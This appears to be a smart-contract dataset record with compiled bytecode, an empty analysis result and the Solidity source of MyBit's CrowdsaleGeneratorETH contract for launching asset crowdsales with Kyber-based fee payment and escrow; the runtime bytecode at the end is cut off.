e21d7c6fd9e15a3601a2fb3905588868167566e8c1f1dd30fa01097f03e3aa48bb5db9e2b0dc6d294009ecd5d4ff6255dfcdde3f5b4e545032ea9b680191508083828584878689888b8a8d8c8f8f097f0425b03b0356b92e66ca816869a76110d68862a0d8ad76f950fdb1d5c03279d101097f07cdb723061223f33289237c7476e737ef0bbc5e2c1ed9a70566511fc2036ba501097f018b8b8d0f393950c9a2e674052150a328d214618049c7e2f58cbad76adbfbd501097ef19faf3accc43b56369dccdec35dc7b49c5b8f8976764886bd16dd2e155f9201097ee08853aabc9eb934b4470bb4ae1dbbe90c61d2093516df998ca7adc98afe1001097f07736291268c775a82caea06004d53edb829be2566fc7c4053b1d850a8116cac01097f01bc1186238f0d39e1c56185a8d2bf00c90c9c89647917d60a5b7629328565240191508083828584878689888b8a8d8c8f8f097f06cf772fa8050ad8eb87bc8f0c8fc511622b416fdb084cbc93b79501c96b0bda01097f07417da24519b4c55ec0d698ecaceeb49711aa1e7f7d907102351e73388a0fa501097f066e1e25d1bcea87acd136f2c33498e3223fbf78bc6cc816ad6aaf68e961da0d01097f060db5bf6f060d82c169a1c4ed6c548d5e8cdb6cfd2e3257c155bf11f48ca60901097f02d5447623584d3a19e9993814622d6369248bc61813f067c4825c9b0a81551f01097eac068a1aae938e26e125b35c88a87130044bf3637bf1acd797103e7388b33a01097f03ab2d353537697d4de9c5c4c0bc31e5e776cb93181029144f6c6d4b5ea4317b0191508083828584878689888b8a8d8c8f8f097f06ca2dd473297a2852e68ea2b83faf8f71e5cb471adcc74a858132c6a823f0c001097f01ec5264a5287f1c6de79b3df3adbfa157e8430e594078c3fba7002a077db44701097f050ee695deb5a4e63c5dd6de35621d1c0c5a496bf41fecbaa929b2b3e23f174a01097f036f446f7e5a51114cbdd3b460431bacb5a42cd61f4690cf5e9d9f13e488318d01097f0195f98a85cfe403a7d229a6eb4533a1fea641c331db75a5807711fdf1e27dac01097f063d4964faab567e795024a17032ec564ff221a421bd2e42632d3770c73dbba101097f068d729620eca6b4d904198a0e6d241953b9b8c874a10b5ede5596146d5609790191508083828584878689888b8a8d8c8f8f097f01137975bab819ce0cbc73714305030fcd4a185f71d46c169908460390d56d1801097ef639bcd7777c1ffd41a693ac9f5a051bd124b7edce3d568f14304c9fd90a6701097e2322f8d96071356feee538e0c53d857b1924134b94377af20ed5d0e8b3925b01097f022cf65c6bbbf76765555748cc1ae91c83ea93ca2c8b34a59332567b5b3b0cd201097ed62eb553de83e5d51f78ddd9480d65870dc426f61153e732eb6cd62cee09cd01097f06afb39d46d5a846e9d58a6ae27e6cdd83bee29c72754cd4cd3d3cae423f5c9d01097f0364889e46da58b66c827835a0c2807338eeb4431f2099f490d13bbad0777a010191508083828584878689888b8a8d8c8f8f097eaea6f7f915e4aec612029a9d02316baa3f6297ea4cfd38897f4c9859ec485e01097f05c180e2fbb2b51e053941d0e1611424fe60ced6d439115dd98530c8d79cca4a01097f01ab93f16e576b6a54598582eff5e2cfc33baeeb607826579680636b05046d1601097f04de47e973af27fde9ad29f812de8a04855110118eb73fcdb46865390486a28701097f050be25e516e30f96d8b420a7c494506d2cd21d64f4d5ecb67d58c2ae99bf5e001097f02aa45ec320ea12beb804e35af3684dc981324dc9bd044592d1c408c052a432201097f026701dfe3cc76754a4ab893fef59886a43013ea6ba648efd82fd03941fa29100191508083828584878689888b8a8d8c8f8f097f01773ba95dbeaab6e5e9fc79ac153d46be1e57828e92287d698a3f4f87ef498401097e4e92d5f575fcaac9adedb4e0c3549dc18f61bc40e3752e3506f3761c32c6e301097f0580f9d95c2bd746c9210a87b0f9ed275afee1dde7a41d9ad5e69861ec0e43f601097f03e2dbef5f162784e13b5ff4c33bcbc444ad1546922b293d6783b5de5c5aba7801097f0596f89b6ca79194eb6a87c17692aa491f5b014da3cc7e5f05caf4fc1779c2dc01097f07e84842d5fff1666e01505f62661bcc822dd3fa530ebd1e4089230a4045a04f01097f05626d2ae9581d1d335bfc3863a4eaf3568ec8e70fcdae93f50a15b0cf601b6b019150808382858487868989097f068371fc7cb3e0670a73eb3a7e773ddb63f231c26bf25bb1fc1fe6e93a7e3bd001097f04d215dd42f87632a9cce2cb95081dc731e36796c3d2847dc96a3554231c6aef01097f0421fac0e48da8e6355c07f6a64bcea96384848e8ea9a7113ab45f15b1dd15aa01097f0679061e5f453c8bb1855dce8f7d61f2cb64b15d2c4e70b969ec4ead3fc6a2260191508082816125ce57fe5b06939250505056fea265627a7a72315820adc8fedab645cc74d310b10649e9e9e10d61310b7ee27d87cfa0f652c225fccc64736f6c634300050f0032
{"success": true, "error": null, "results": {}}
1,747
0x25bC310499433dBc08D0e3b16E78A7917208fbFa
pragma solidity ^0.4.24; // https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol // @title SafeMath: overflow/underflow checks // @notice Math operations with safety checks that throw on error library SafeMath { // @notice Multiplies two numbers, throws on overflow. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } // @notice Integer division of two numbers, truncating the quotient. function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } // @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } // @notice Adds two numbers, throws on overflow. function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // @notice Returns fractional amount function getFractionalAmount(uint256 _amount, uint256 _percentage) internal pure returns (uint256) { return div(mul(_amount, _percentage), 100); } } // Database interface interface DBInterface { function setContractManager(address _contractManager) external; // --------------------Set Functions------------------------ function setAddress(bytes32 _key, address _value) external; function setUint(bytes32 _key, uint _value) external; function setString(bytes32 _key, string _value) external; function setBytes(bytes32 _key, bytes _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int _value) external; // -------------- Deletion Functions ------------------ function deleteAddress(bytes32 _key) external; function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; // ----------------Variable Getters--------------------- function uintStorage(bytes32 _key) external view returns (uint); function stringStorage(bytes32 _key) external view returns (string); function addressStorage(bytes32 _key) external view returns (address); function bytesStorage(bytes32 _key) external view returns (bytes); function bytes32Storage(bytes32 _key) external view returns (bytes32); function boolStorage(bytes32 _key) external view returns (bool); function intStorage(bytes32 _key) external view returns (bool); } contract Events { DBInterface public database; constructor(address _database) public{ database = DBInterface(_database); } function message(string _message) external onlyApprovedContract { emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin); } function transaction(string _message, address _from, address _to, uint _amount, address _token) external onlyApprovedContract { emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin); } function registration(string _message, address _account) external onlyApprovedContract { emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin); } function contractChange(string _message, address _account, string _name) external onlyApprovedContract { emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin); } function asset(string _message, string _uri, address _assetAddress, address _manager) external onlyApprovedContract { emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin); } function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount) external onlyApprovedContract { emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin); } function order(string _message, bytes32 _orderID, uint _amount, uint _price) external onlyApprovedContract { emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin); } function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account) external onlyApprovedContract { emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin); } function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account) external onlyApprovedContract { emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin); } function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum) external onlyApprovedContract { emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin); } //Generalized events event LogEvent(string message, bytes32 indexed messageID, address indexed origin); event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin); //amount and token will be empty on some events event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin); event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin); event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin); event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin); event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin); event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin); event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin); event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin); // -------------------------------------------------------------------------------------- // Caller must be registered as a contract through ContractManager.sol // -------------------------------------------------------------------------------------- modifier onlyApprovedContract() { require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender)))); _; } } // @notice Trade via the Kyber Proxy Contract interface KyberInterface { function getExpectedRate(address src, address dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate); function trade(address src, uint srcAmount, address dest, address destAddress, uint maxDestAmount,uint minConversionRate, address walletId) external payable returns(uint); } interface MinterInterface { function cloneToken(string _uri, address _erc20Address) external returns (address asset); function mintAssetTokens(address _assetAddress, address _receiver, uint256 _amount) external returns (bool); function changeTokenController(address _assetAddress, address _newController) external returns (bool); } interface CrowdsaleGeneratorETH_ERC20 { function balanceOf(address _who) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function approve(address _spender, uint256 _value) external returns (bool); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); } // @title A crowdsale generator contract // @author Kyle Dewhurst, Roy Xu, MyBit Foundation // @notice AssetManagers can initiate a crowdsale that accepts Ether as payment here contract CrowdsaleGeneratorETH { using SafeMath for uint256; DBInterface public database; Events public events; KyberInterface private kyber; MinterInterface private minter; //uint constant scalingFactor = 1e32; // Used to avoid rounding errors // @notice This contract // @param: The address for the database contract used by this platform constructor(address _database, address _events, address _kyber) public{ database = DBInterface(_database); events = Events(_events); kyber = KyberInterface(_kyber); minter = MinterInterface(database.addressStorage(keccak256(abi.encodePacked("contract", "Minter")))); } // @notice Do not send ether to this contract, this is for kyber exchange to get return // @dev After collecting listing fee in token, remaining ether gets refunded from kyber function() public payable { } // @notice AssetManagers can initiate a crowdfund for a new asset here // @dev the crowdsaleETH contract is granted rights to mint asset-tokens as it receives funding // @param (string) _assetURI = The location where information about the asset can be found // @param (uint) _fundingLength = The number of seconds this crowdsale is to go on for until it fails // @param (uint) _amountToRaise = The amount of WEI required to raise for the crowdsale to be a success // @param (uint) _assetManagerPerc = The percentage of the total revenue which is to go to the AssetManager if asset is a success function createAssetOrderETH(string _assetURI, string _ipfs, uint _fundingLength, uint _amountToRaise, uint _assetManagerPerc, uint _escrowAndFee, address _paymentToken) external payable { if(_paymentToken == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){ require(msg.value == _escrowAndFee); } else { require(msg.value == 0); CrowdsaleGeneratorETH_ERC20(_paymentToken).transferFrom(msg.sender, address(this), _escrowAndFee); } require(_amountToRaise >= 100, "Crowdsale goal is too small"); require((_assetManagerPerc + database.uintStorage(keccak256(abi.encodePacked("platform.percentage")))) < 100, "Manager percent need to be less than 100"); require(!database.boolStorage(keccak256(abi.encodePacked("asset.uri", _assetURI))), "Asset URI is not unique"); //Check that asset URI is unique address assetAddress = minter.cloneToken(_assetURI, address(0)); require(setCrowdsaleValues(assetAddress, _fundingLength, _amountToRaise)); require(setAssetValues(assetAddress, _assetURI, _ipfs, msg.sender, _assetManagerPerc, _amountToRaise)); uint escrow = processListingFee(_paymentToken, _escrowAndFee); //Lock escrow if(escrow > 0) { require(lockEscrowETH(msg.sender, assetAddress, _paymentToken, escrow)); } events.asset('Asset funding started', _assetURI, assetAddress, msg.sender); events.asset('New asset ipfs', _ipfs, assetAddress, msg.sender); } function updateIPFS(address _assetAddress, string _ipfs) external { require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)))); database.setString(keccak256(abi.encodePacked("asset.ipfs", _assetAddress)), _ipfs); events.asset('New asset ipfs', _ipfs, _assetAddress, msg.sender); } // @notice platform owners can destroy contract here function destroy() onlyOwner external { events.transaction('CrowdsaleGeneratorETH destroyed', address(this), msg.sender, address(this).balance, address(0)); selfdestruct(msg.sender); } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Internal/ Private Functions ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// function setCrowdsaleValues(address _assetAddress, uint _fundingLength, uint _amountToRaise) private returns (bool){ database.setUint(keccak256(abi.encodePacked("crowdsale.start", _assetAddress)), now); database.setUint(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress)), now.add(_fundingLength)); database.setUint(keccak256(abi.encodePacked("crowdsale.goal", _assetAddress)), _amountToRaise); database.setUint(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)), _amountToRaise.mul(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee"))))).div(100)); return true; } function setAssetValues(address _assetAddress, string _assetURI, string _ipfs, address _assetManager, uint _assetManagerPerc, uint _amountToRaise) private returns (bool){ uint totalTokens = _amountToRaise.mul(100).div(uint(100).sub(_assetManagerPerc).sub(database.uintStorage(keccak256(abi.encodePacked("platform.percentage"))))); //database.setUint(keccak256(abi.encodePacked("asset.managerTokens", assetAddress)), _amountToRaise.mul(uint(100).mul(scalingFactor).div(uint(100).sub(_assetManagerPerc)).sub(scalingFactor)).div(scalingFactor)); database.setUint(keccak256(abi.encodePacked("asset.managerTokens", _assetAddress)), totalTokens.getFractionalAmount(_assetManagerPerc)); database.setUint(keccak256(abi.encodePacked("asset.platformTokens", _assetAddress)), totalTokens.getFractionalAmount(database.uintStorage(keccak256(abi.encodePacked("platform.percentage"))))); database.setAddress(keccak256(abi.encodePacked("asset.manager", _assetAddress)), _assetManager); database.setString(keccak256(abi.encodePacked("asset.ipfs", _assetAddress)), _ipfs); database.setBool(keccak256(abi.encodePacked("asset.uri", _assetURI)), true); //Set to ensure a unique asset URI return true; } function processListingFee(address _paymentTokenAddress, uint _fromAmount) private returns (uint) { // returns left amount uint listingFee = database.uintStorage(keccak256(abi.encodePacked("platform.listingFee"))); address listingFeeTokenAddress = database.addressStorage(keccak256(abi.encodePacked("platform.listingFeeToken"))); address platformFundsWallet = database.addressStorage(keccak256(abi.encodePacked("platform.wallet.funds"))); uint leftAmount; uint usedAmount; uint balanceBefore; uint listingFeePaid; CrowdsaleGeneratorETH_ERC20 paymentToken; if (_paymentTokenAddress != listingFeeTokenAddress) { //Convert the payment token into the listing fee token if(_paymentTokenAddress == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){ balanceBefore = address(this).balance; listingFeePaid = kyber.trade.value(_fromAmount)(_paymentTokenAddress, _fromAmount, listingFeeTokenAddress, platformFundsWallet, listingFee, 0, 0); usedAmount = balanceBefore - address(this).balance; // used eth by kyber for swapping with token } else { paymentToken = CrowdsaleGeneratorETH_ERC20(_paymentTokenAddress); balanceBefore = paymentToken.balanceOf(address(this)); require(paymentToken.approve(address(kyber), _fromAmount)); listingFeePaid = kyber.trade(_paymentTokenAddress, _fromAmount, listingFeeTokenAddress, platformFundsWallet, listingFee, 0, 0); //Currently no minimum rate is set, so watch out for slippage! paymentToken.approve(address(kyber), 0); usedAmount = balanceBefore - paymentToken.balanceOf(address(this)); } } else { paymentToken = CrowdsaleGeneratorETH_ERC20(_paymentTokenAddress); require(paymentToken.transfer(platformFundsWallet, listingFee), "Listing fee not paid"); usedAmount = listingFee; listingFeePaid = listingFee; } require(_fromAmount >= usedAmount && listingFeePaid >= listingFee, "Listing fee not paid"); leftAmount = _fromAmount - usedAmount; return leftAmount; } function lockEscrowETH(address _assetManager, address _assetAddress, address _paymentTokenAddress, uint _amount) private returns (bool) { uint amount; bytes32 assetManagerEscrowID = keccak256(abi.encodePacked(_assetAddress, _assetManager)); address platformTokenAddress = database.addressStorage(keccak256(abi.encodePacked("platform.token"))); if(_paymentTokenAddress != platformTokenAddress){ //Convert the payment token into the platform token if(_paymentTokenAddress == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){ amount = kyber.trade.value(_amount)(_paymentTokenAddress, _amount, platformTokenAddress, address(this), 2**255, 0, 0); //Currently no minimum rate is set, so watch out for slippage! } else { CrowdsaleGeneratorETH_ERC20 paymentToken = CrowdsaleGeneratorETH_ERC20(_paymentTokenAddress); require(paymentToken.approve(address(kyber), _amount)); amount = kyber.trade(_paymentTokenAddress, _amount, platformTokenAddress, address(this), 2**255, 0, 0); //Currently no minimum rate is set, so watch out for slippage! } } else { amount = _amount; } require(CrowdsaleGeneratorETH_ERC20(platformTokenAddress).transfer(database.addressStorage(keccak256(abi.encodePacked("contract", "EscrowReserve"))), amount)); database.setUint(keccak256(abi.encodePacked("asset.escrow", assetManagerEscrowID)), amount); events.escrow('Escrow locked', _assetAddress, assetManagerEscrowID, _assetManager, amount); return true; } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Modifiers ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // @notice reverts if asset manager is unable to burn pp // modifier burnRequired { // //emit LogSig(msg.sig); // require(burner.burn(msg.sender, database.uintStorage(keccak256(abi.encodePacked(msg.sig, address(this)))))); // _; // } // @notice Sender must be a registered owner modifier onlyOwner { require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))), "Not owner"); _; } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Events ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //event LogAssetFundingStarted(address indexed _assetManager, string _assetURI, address indexed _tokenAddress); //event LogSig(bytes4 _sig); }
0x6080604052600436106100535763ffffffff60e060020a600035041663713b563f811461005557806383197ef014610086578063b5f8558c1461009b578063d3f5b664146100b0578063f217caed146100e7575b005b34801561006157600080fd5b5061006a610114565b60408051600160a060020a039092168252519081900360200190f35b34801561009257600080fd5b50610053610123565b3480156100a757600080fd5b5061006a61035d565b610053602460048035828101929082013591813591820191013560443560643560843560a435600160a060020a0360c4351661036c565b3480156100f357600080fd5b5061005360048035600160a060020a03169060248035908101910135610b25565b600054600160a060020a031681565b600054604080517f6f776e6572000000000000000000000000000000000000000000000000000000602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b602083106101b15780518252601f199092019160209182019101610192565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561021257600080fd5b505af1158015610226573d6000803e3d6000fd5b505050506040513d602081101561023c57600080fd5b50511515610294576040805160e560020a62461bcd02815260206004820152600960248201527f4e6f74206f776e65720000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600154604080517f42b425aa000000000000000000000000000000000000000000000000000000008152306024820181905233604483015231606482015260006084820181905260a06004830152601f60a48301527f43726f776473616c6547656e657261746f724554482064657374726f7965640060c48301529151600160a060020a03909316926342b425aa9260e48084019391929182900301818387803b15801561034157600080fd5b505af1158015610355573d6000803e3d6000fd5b503392505050ff5b600154600160a060020a031681565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156103a5573484146103a057600080fd5b61044b565b34156103b057600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018690529051600160a060020a038516916323b872dd9160648083019260209291908290030181600087803b15801561041e57600080fd5b505af1158015610432573d6000803e3d6000fd5b505050506040513d602081101561044857600080fd5b50505b60648610156104a4576040805160e560020a62461bcd02815260206004820152601b60248201527f43726f776473616c6520676f616c20697320746f6f20736d616c6c0000000000604482015290519081900360640190fd5b600054604080517f706c6174666f726d2e70657263656e7461676500000000000000000000000000602080830191909152825180830360130181526033909201928390528151606494600160a060020a03169363a855d4ce9392909182918401908083835b602083106105285780518252601f199092019160209182019101610509565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561058957600080fd5b505af115801561059d573d6000803e3d6000fd5b505050506040513d60208110156105b357600080fd5b5051860110610632576040805160e560020a62461bcd02815260206004820152602860248201527f4d616e616765722070657263656e74206e65656420746f206265206c6573732060448201527f7468616e20313030000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000546040517f61737365742e757269000000000000000000000000000000000000000000000060208201908152600160a060020a0390921691633b7bfda0918e918e916029018383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b602083106106c65780518252601f1990920191602091820191016106a7565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561072757600080fd5b505af115801561073b573d6000803e3d6000fd5b505050506040513d602081101561075157600080fd5b5051156107a8576040805160e560020a62461bcd02815260206004820152601760248201527f417373657420555249206973206e6f7420756e69717565000000000000000000604482015290519081900360640190fd5b600354604080517fdc111bbf00000000000000000000000000000000000000000000000000000000815260006024820181905260048201928352604482018e9052600160a060020a039093169263dc111bbf928f928f92919081906064018585808284378201915050945050505050602060405180830381600087803b15801561083157600080fd5b505af1158015610845573d6000803e3d6000fd5b505050506040513d602081101561085b57600080fd5b5051915061086a828888610e6c565b151561087557600080fd5b6108e7828c8c8080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508b8b8080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505033898b611420565b15156108f257600080fd5b6108fc8385611cbf565b9050600081111561091e5761091333838584612594565b151561091e57600080fd5b600160009054906101000a9004600160a060020a0316600160a060020a03166378576a918c8c85336040518563ffffffff1660e060020a02815260040180806020018060200185600160a060020a0316600160a060020a0316815260200184600160a060020a0316600160a060020a03168152602001838103835260158152602001807f41737365742066756e64696e6720737461727465640000000000000000000000815250602001838103825287878281815260200192508082843782019150509650505050505050600060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b50505050600160009054906101000a9004600160a060020a0316600160a060020a03166378576a918a8a85336040518563ffffffff1660e060020a02815260040180806020018060200185600160a060020a0316600160a060020a0316815260200184600160a060020a0316600160a060020a031681526020018381038352600e8152602001807f4e65772061737365742069706673000000000000000000000000000000000000815250602001838103825287878281815260200192508082843782019150509650505050505050600060405180830381600087803b158015610b0057600080fd5b505af1158015610b14573d6000803e3d6000fd5b505050505050505050505050505050565b600054604080517f61737365742e6d616e6167657200000000000000000000000000000000000000602080830191909152600160a060020a03878116606060020a02602d8401528351808403602101815260419093019384905282519416936304f49a3a93918291908401908083835b60208310610bb45780518252601f199092019160209182019101610b95565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610c1557600080fd5b505af1158015610c29573d6000803e3d6000fd5b505050506040513d6020811015610c3f57600080fd5b5051600160a060020a03163314610c5557600080fd5b600054604080517f61737365742e6970667300000000000000000000000000000000000000000000602080830191909152600160a060020a03878116606060020a02602a8401528351808403601e018152603e909301938490528251941693636e89955093918291908401908083835b60208310610ce45780518252601f199092019160209182019101610cc5565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820181815260248301948552604483018a90529095508994508893909250906064018484808284378201915050945050505050600060405180830381600087803b158015610d6d57600080fd5b505af1158015610d81573d6000803e3d6000fd5b50506001546040517f78576a91000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660448301523360648301819052608060048401908152600e60848501527f4e6577206173736574206970667300000000000000000000000000000000000060a485015260c06024850190815260c485018990529290941695506378576a919450879387938a93829160e40187878082843782019150509650505050505050600060405180830381600087803b158015610e4f57600080fd5b505af1158015610e63573d6000803e3d6000fd5b50505050505050565b60008054604080517f63726f776473616c652e73746172740000000000000000000000000000000000602080830191909152600160a060020a03888116606060020a02602f84015283518084036023018152604390930193849052825194169363e2a4853a93918291908401908083835b60208310610efc5780518252601f199092019160209182019101610edd565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152426024820152915160448084019550600094509092839003019050818387803b158015610f6757600080fd5b505af1158015610f7b573d6000803e3d6000fd5b5050600054604080517f63726f776473616c652e646561646c696e650000000000000000000000000000602080830191909152600160a060020a038a8116606060020a0260328401528351808403602601815260469093019384905282519416955063e2a4853a9450909282918401908083835b6020831061100e5780518252601f199092019160209182019101610fef565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902061104e8642612d8490919063ffffffff16565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b5050600054604080517f63726f776473616c652e676f616c000000000000000000000000000000000000602080830191909152600160a060020a038a8116606060020a02602e8401528351808403602201815260429093019384905282519416955063e2a4853a9450909282918401908083835b6020831061113d5780518252601f19909201916020918201910161111e565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260248101899052915160448084019550600094509092839003019050818387803b1580156111a957600080fd5b505af11580156111bd573d6000803e3d6000fd5b5050600054604080517f63726f776473616c652e72656d61696e696e6700000000000000000000000000602080830191909152600160a060020a038a8116606060020a0260338401528351808403602701815260479093019384905282519416955063e2a4853a9450909282918401908083835b602083106112505780518252601f199092019160209182019101611231565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206000547f706c6174666f726d2e6665650000000000000000000000000000000000000000848401528551600c818603018152602c9094019586905283519197506113b696506064956113aa955061139d94600160a060020a039092169363a855d4ce9382918401908083835b602083106113025780518252601f1990920191602091820191016112e3565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561136357600080fd5b505af1158015611377573d6000803e3d6000fd5b505050506040513d602081101561138d57600080fd5b505160649063ffffffff612d8416565b889063ffffffff612d9e16565b9063ffffffff612dc916565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b506001979650505050505050565b60008054604080517f706c6174666f726d2e70657263656e746167650000000000000000000000000060208083019190915282518083036013018152603390920192839052815185946115669461155594600160a060020a039092169363a855d4ce9382918401908083835b602083106114ab5780518252601f19909201916020918201910161148c565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561150c57600080fd5b505af1158015611520573d6000803e3d6000fd5b505050506040513d602081101561153657600080fd5b505161154960648863ffffffff612dde16565b9063ffffffff612dde16565b6113aa85606463ffffffff612d9e16565b600054604080517f61737365742e6d616e61676572546f6b656e7300000000000000000000000000602080830191909152600160a060020a038d8116606060020a0260338401528351808403602701815260479093019384905282519596509093169363e2a4853a939192918291908401908083835b602083106115fb5780518252601f1990920191602091820191016115dc565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902061163b8785612df090919063ffffffff16565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b15801561168357600080fd5b505af1158015611697573d6000803e3d6000fd5b5050600054604080517f61737365742e706c6174666f726d546f6b656e73000000000000000000000000602080830191909152600160a060020a038e8116606060020a0260348401528351808403602801815260489093019384905282519416955063e2a4853a9450909282918401908083835b6020831061172a5780518252601f19909201916020918201910161170b565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206000547f706c6174666f726d2e70657263656e74616765000000000000000000000000008484015285516013818603018152603390940195869052835191975061186b9650600160a060020a03169463a855d4ce9450918291908401908083835b602083106117d15780518252601f1990920191602091820191016117b2565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561183257600080fd5b505af1158015611846573d6000803e3d6000fd5b505050506040513d602081101561185c57600080fd5b5051859063ffffffff612df016565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b1580156118b357600080fd5b505af11580156118c7573d6000803e3d6000fd5b5050600054604080517f61737365742e6d616e6167657200000000000000000000000000000000000000602080830191909152600160a060020a038e8116606060020a02602d8401528351808403602101815260419093019384905282519416955063ca446dd99450909282918401908083835b6020831061195a5780518252601f19909201916020918201910161193b565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152600160a060020a038c166024820152915160448084019550600094509092839003019050818387803b1580156119ce57600080fd5b505af11580156119e2573d6000803e3d6000fd5b5050600054604080517f61737365742e6970667300000000000000000000000000000000000000000000602080830191909152600160a060020a038e8116606060020a02602a8401528351808403601e018152603e90930193849052825194169550636e8995509450909282918401908083835b60208310611a755780518252601f199092019160209182019101611a56565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e06002